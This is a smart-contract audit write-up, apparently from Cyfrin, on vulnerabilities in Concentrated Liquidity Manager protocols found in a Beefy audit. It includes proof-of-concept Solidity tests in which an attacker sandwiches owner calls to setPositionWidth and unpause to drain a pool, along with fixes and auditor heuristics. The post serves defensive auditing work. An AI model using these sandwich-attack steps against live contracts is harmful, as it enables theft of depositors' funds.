Concentrated Liquidity Manager Vulnerabilities

·

11 min read

Uniswap V3 introduced Concentrated Liquidity allowing Liquidity Providers (LP) to provide liquidity within a custom price range. The major limitations of Uniswap's implementation are:

  • LP rewards do not auto-compound; users must manually claim earned rewards and re-deploy them. This results in less profits for the LP provider due to increased gas fees

  • Price range is static; users can't provide liquidity into a dynamic price range such as constantly around the current price. If the current price moves outside the LP range rewards will stop accruing unless users re-deploy their liquidity into the new range, which also costs gas

Concentrated Liquidity Managers (CLMs) attempt to address these two limitations by:

  • allowing users to deposit their tokens directly with the CLM protocol instead of Uniswap V3

  • protocol deploys all combined user liquidity into a Uniswap V3 LP position. Since there is only 1 big LP position to manage instead of many smaller ones, the gas costs are minimized increasing LP profitability

  • protocol frequently harvests LP rewards, auto-compounds them back into the LP position and adjusts the LP range to continue earning rewards

  • users never have to interact with Uniswap V3 directly and don't have to pay gas fees to continually adjust their LP range & auto-compound fees

  • users can withdraw their share of the total liquidity and rewards from the protocol

While CLM protocols can provide attractive benefits for liquidity providers compared to interacting with Uniswap V3 directly, they also expose liquidity providers to an additional layer of smart contract risk as they can contain a number of interesting and dangerous vulnerabilities.

Attacker Drains Protocol By Forcing Liquidity Deployment Into Unfavorable Range

CLM protocols frequently re-deploy their liquidity position around the current price in order to continue earning LP rewards. In order to implement this the LP range is commonly calculated from pool.slot0 which is the most recent data point hence easy to manipulate. Being aware of the manipulation risk protocols typically implement a TWAP check to prevent their liquidity from being deployed if the pool has been abruptly manipulated.

In Cyfrin's Beefy audit we discovered a critical vulnerability where an attacker could drain the protocol's tokens, bypassing all of Beefy's existing pool manipulation mitigations by exploiting an asymmetry in the enforcement of the onlyCalmPeriods TWAP check which was absent in a couple of onlyOwner functions. Firstly consider this function which on the surface appears to be a boring function that sets a parameter:

function setPositionWidth(int24 _width) external onlyOwner {
    emit SetPositionWidth(positionWidth, _width);
    _claimEarnings();
    _removeLiquidity();
    positionWidth = _width;

    // @audit updates ticks from `pool.slot0`
    _setTicks();

    // @audit deploys liquidity into updated
    // tick range without calling `onlyCalmPeriods` 
    _addLiquidity();
}

This function is used by the contract owner to set a parameter but that is of no interest to the attacker; what is of interest is that this function removes existing liquidity, updates the protocol's ticks and re-deploys the liquidity into the new range without enforcing the TWAP check. Hence an attacker can sandwich attack the owner's call to this function to completely drain the protocol's tokens by forcing the protocol's liquidity to be deployed into an unfavorable range:

function test_AttackerDrainsProtocolViaSetPositionWidth() public {
    // user deposits and beefy sets up its LP position
    uint256 BEEFY_INIT_WBTC = 10e8;
    uint256 BEEFY_INIT_USDC = 600000e6;
    deposit(user, true, BEEFY_INIT_WBTC, BEEFY_INIT_USDC);

    (uint256 beefyBeforeWBTCBal, uint256 beefyBeforeUSDCBal) = strategy.balances();

    // record beefy WBTC & USDC amounts before attack
    console.log("%s : %d", "LP WBTC Before Attack", beefyBeforeWBTCBal); // 999999998
    console.log("%s : %d", "LP USDC Before Attack", beefyBeforeUSDCBal); // 599999999999
    console.log();

    // attacker front-runs owner call to `setPositionWidth` using
    // a large amount of USDC to buy all the WBTC. This:
    // 1) results in Beefy LP having 0 WBTC and lots of USDC
    // 2) massively pushes up the price of WBTC
    //
    // Attacker has forced Beefy to sell WBTC "low"
    uint256 ATTACKER_USDC = 100000000e6;
    trade(attacker, true, false, ATTACKER_USDC);

    // owner calls `StrategyPassiveManagerUniswap::setPositionWidth`
    // This is the transaction that the attacker sandwiches. The reason is that
    // `setPositionWidth` makes Beefy change its LP position. This will
    // cause Beefy to deploy its USDC at the now much higher price range
    strategy.setPositionWidth(width);

    // attacker back-runs the sandwiched transaction to sell their WBTC 
    // to Beefy who has deployed their USDC at the inflated price range, 
    // and also sells the rest of their WBTC position to the remaining LPs 
    // unwinding the front-run transaction
    //
    // Attacker has forced Beefy to buy WBTC "high"
    trade(attacker, false, true, IERC20(token0).balanceOf(attacker));

    // record beefy WBTC & USDC amounts after attack
    (uint256 beefyAfterWBTCBal, uint256 beefyAfterUSDCBal) = strategy.balances();

    // beefy has been almost completely drained of WBTC & USDC
    console.log("%s  : %d", "LP WBTC After Attack", beefyAfterWBTCBal); // 2
    console.log("%s  : %d", "LP USDC After Attack", beefyAfterUSDCBal); // 0
    console.log();

    uint256 attackerUsdcBal = IERC20(token1).balanceOf(attacker);
    console.log("%s  : %d", "Attacker USDC profit", attackerUsdcBal-ATTACKER_USDC);

    // attacker original USDC: 100000000 000000
    // attacker now      USDC: 101244330 209974
    // attacker profit = $1,244,330 USDC
}

Secondly consider another vulnerable function; again this looks like a routine boring function that allows the owner to unpause the contract:

// liquidity has been previously removed when pausing
function unpause() external onlyManager {
    _giveAllowances();
    _unpause();
    _setTicks();
    _addLiquidity();
}

Here the liquidity was already removed when the contract was paused so the previous trick won't work in exactly the same way as an attacker can't force the protocol to "Sell Low". However the attacker can still force the protocol to "Buy High" which can be exploited with great effect if the protocol has a single-sided or unbalanced LP position:

function test_AttackerDrainsProtocolViaUnpause() public {
    // user deposits and beefy sets up its LP position
    uint256 BEEFY_INIT_WBTC = 0;
    uint256 BEEFY_INIT_USDC = 600000e6;
    deposit(user, true, BEEFY_INIT_WBTC, BEEFY_INIT_USDC);

    // owner pauses contract
    strategy.panic(0, 0);

    (uint256 beefyBeforeWBTCBal, uint256 beefyBeforeUSDCBal) = strategy.balances();

    // record beefy WBTC & USDC amounts before attack
    console.log("%s : %d", "LP WBTC Before Attack", beefyBeforeWBTCBal); // 0
    console.log("%s : %d", "LP USDC Before Attack", beefyBeforeUSDCBal); // 599999999999
    console.log();

    // owner decides to unpause contract
    //
    // attacker front-runs owner call to `unpause` using
    // a large amount of USDC to buy all the WBTC. This
    // massively pushes up the price of WBTC
    uint256 ATTACKER_USDC = 100000000e6;
    trade(attacker, true, false, ATTACKER_USDC);

    // owner calls `StrategyPassiveManagerUniswap::unpause`
    // This is the transaction that the attacker sandwiches. The reason is that
    // `unpause` makes Beefy change its LP position. This will
    // cause Beefy to deploy its USDC at the now much higher price range
    strategy.unpause();

    // attacker back-runs the sandwiched transaction to sell their WBTC
    // to Beefy who has deployed their USDC at the inflated price range,
    // and also sells the rest of their WBTC position to the remaining LPs
    // unwinding the front-run transaction
    //
    // Attacker has forced Beefy to buy WBTC "high"
    trade(attacker, false, true, IERC20(token0).balanceOf(attacker));

    // record beefy WBTC & USDC amounts after attack
    (uint256 beefyAfterWBTCBal, uint256 beefyAfterUSDCBal) = strategy.balances();

    // beefy has been almost completely drained of USDC
    console.log("%s  : %d", "LP WBTC After Attack", beefyAfterWBTCBal); // 0
    console.log("%s  : %d", "LP USDC After Attack", beefyAfterUSDCBal); // 126790
    console.log();

    uint256 attackerUsdcBal = IERC20(token1).balanceOf(attacker);
    console.log("%s  : %d", "Attacker USDC profit", attackerUsdcBal-ATTACKER_USDC);
    // attacker profit = $548,527 USDC
}

A smart contract audit should carefully examine every function which updates tick ranges and deploys liquidity to verify if the TWAP check for pool manipulation is present. While the check may be present in common and obvious functions, there may be less-used functions which set parameters where an oversight has occurred. More examples: [1]

Owner Rug-Pull By Setting Ineffective TWAP Parameters

As previously mentioned the TWAP check is crucial to protect CLM protocols from being exploited through pool manipulation attacks. However even if the TWAP check is correctly applied in all functions that update ticks and deploy liquidity, the TWAP check itself can be rendered ineffective if the owner updates its parameters to reduce its effectiveness.

In Cyfrin's Beefy audit one of the key protocol invariants was that the contract owner should not be able to rug-pull users' deposited tokens. We found that the owner could easily achieve this by manipulating two key parameters maxDeviation and twapInterval rendering the TWAP check ineffective since these two key parameters could be set to any arbitrary value.

A similar protocol Gamma Strategies was exploited using this exact method as the price deviation threshold was too high on some vaults. Potential mitigation strategies for this attack vector include:

  • having all owner functions behind a time-locked multi-sig

  • enforcing minimum/maximum values for key TWAP check parameters such that they can't be set to arbitrary values

Auditors should carefully review which parameters are used in the TWAP check and whether a contract owner can set those parameters to arbitrary values which may render the TWAP check ineffective. Once the protocol has been deployed the protocol owner must be judicious in setting appropriate TWAP parameters on a per-pool basis.

Tokens Permanently Stuck Inside Protocol

As CLM protocols can be composed of multiple contracts, smart contract developers and auditors should carefully consider the flow of tokens between contracts and where tokens should accumulate. Contracts where tokens should not accumulate should have defined invariants with stateful fuzz tests to verify their token balances remain zero.

In Cyfrin's Beefy audit we noticed that due to rounding during division some tokens were never distributed but would instead accumulate inside a contract where they would be permanently stuck:

// @audit rounding during division = stuck tokens
//
// Distribute the native earned to the appropriate addresses.
uint256 callFeeAmount = nativeEarned * fees.call / DIVISOR;
IERC20Metadata(native).safeTransfer(_callFeeRecipient, callFeeAmount);

uint256 beefyFeeAmount = nativeEarned * fees.beefy / DIVISOR;
IERC20Metadata(native).safeTransfer(beefyFeeRecipient, beefyFeeAmount);

uint256 strategistFeeAmount = nativeEarned * fees.strategist / DIVISOR;
IERC20Metadata(native).safeTransfer(strategist, strategistFeeAmount);

Although the amount each time is small, as the protocol is designed to continuously operate on 20+ chains the amount of tokens permanently stuck accumulates over time. In our invariant fuzz testing suite this simple Echidna invariant was able to identify the issue:

// INVARIANT 3) Strategy contract doesn't accrue native tokens
function property_strategy_native_tokens_balance_zero() public returns(bool) {
    uint256 bal = IERC20(native).balanceOf(address(strategy));
    emit TestDebugUIntOutput(bal);
    return bal == 0;
}

Smart contract developers should handle imperfect division by always distributing what remains over; the above code could be refactored to distribute whatever remains from the fees to the Beefy protocol like this:

uint256 callFeeAmount = nativeEarned * fees.call / DIVISOR;
IERC20Metadata(native).safeTransfer(_callFeeRecipient, callFeeAmount);

uint256 strategistFeeAmount = nativeEarned * fees.strategist / DIVISOR;
IERC20Metadata(native).safeTransfer(strategist, strategistFeeAmount);

uint256 beefyFeeAmount = nativeEarned - callFeeAmount - strategistFeeAmount;
IERC20Metadata(native).safeTransfer(beefyFeeRecipient, beefyFeeAmount);

More examples: [1]

Token Approvals Remain When Updating Router Address

Many protocols including CLM protocols contain functions to update important addresses; often these functions appear very simple. However their simple appearance can serve to hide the underlying complexity of how updating these addresses can affect the protocol. Consider this simple function from Cyfrin's Beefy audit:

function setUnirouter(address _unirouter) external onlyOwner {
    unirouter = _unirouter;
    emit SetUnirouter(_unirouter);
}

While this function appears to be extremely simple, the potential problems are only uncovered when thinking about how this function interacts with different states the protocol could be in. Consider for example that Beefy gives unlimited token approvals to unirouter:

function _giveAllowances() private {
    IERC20Metadata(lpToken0).forceApprove(unirouter, type(uint256).max);
    IERC20Metadata(lpToken1).forceApprove(unirouter, type(uint256).max);
}

Because the approvals are not removed before updating the router address, the old router can still continue to spend the protocol's tokens.

Smart contract auditors should verify that before updating the router address the CLM protocol revokes any token approvals which have been given to the existing router.

Updated Protocol Fees Retrospectively Applied To Pending LP Rewards

CLM protocols aim to be profitable by charging a % "management" fee on the LP rewards. In order to remain competitive the contract owner usually has the ability to increase or decrease this fee. In Cyfrin's Beefy audit we found that:

  • the contract owner could change the fees at any time

  • LP rewards are only collected when the harvest function is called

This allows the protocol to enter a state where the management fee is increased and the next time harvest is called the higher fees are retrospectively applied to the LP rewards that were pending under the previously lower fee regime.

This allows the protocol owner to retrospectively alter the fee structure to steal pending LP rewards instead of distributing them to protocol users. Additionally the retrospective application of fees is unfair on protocol users because those users deposited their liquidity into the protocol and generated LP rewards at the previous fee levels.

Smart contract auditors should verify that pending LP rewards are collected and have the current fees charged on them prior to updating the existing fee structure. More examples: [1]

Concentrated Liquidity Manager Additional Invariants

Smart contract auditors and developers may consider verifying whether a number of additional invariants hold true when auditing and developing CLM protocols:

Heuristics To Find Similar Vulnerabilities

The following questions may help auditors find similar vulnerabilities in CLM protocols:

  1. Can I force the protocol to deploy its liquidity into an unfavorable range? Can I force it to "buy low" and "sell high" ?

  2. Does asymmetry exist where there should be symmetry? If a check occurs in many places but is absent in one or two places, what is the consequence of this?

  3. Is there a coding pattern that is observed in many places but is missing in one place? If so, what is the consequence of this?

  4. Can an attacker or other actor harm the protocol by front-running or sandwich attacking any of the external or public functions?

  5. Can parameters crucial to the safety of the protocol be set to arbitrary values? If so, will they still offer the same protection if set to extremely small or extremely large values?

  6. Does the protocol give spending allowances to a target contract, but has a function which allows updating the address of the target contract without first revoking the allowances?

  7. More generally, does the protocol have resources (tokens, fees etc) with another contract, but has a function which allows updating the address of the target contract without first re-claiming those resources?

  8. If the protocol charges fees, can the fees charged be updated? If yes, do the updated fees apply retrospectively to unclaimed rewards?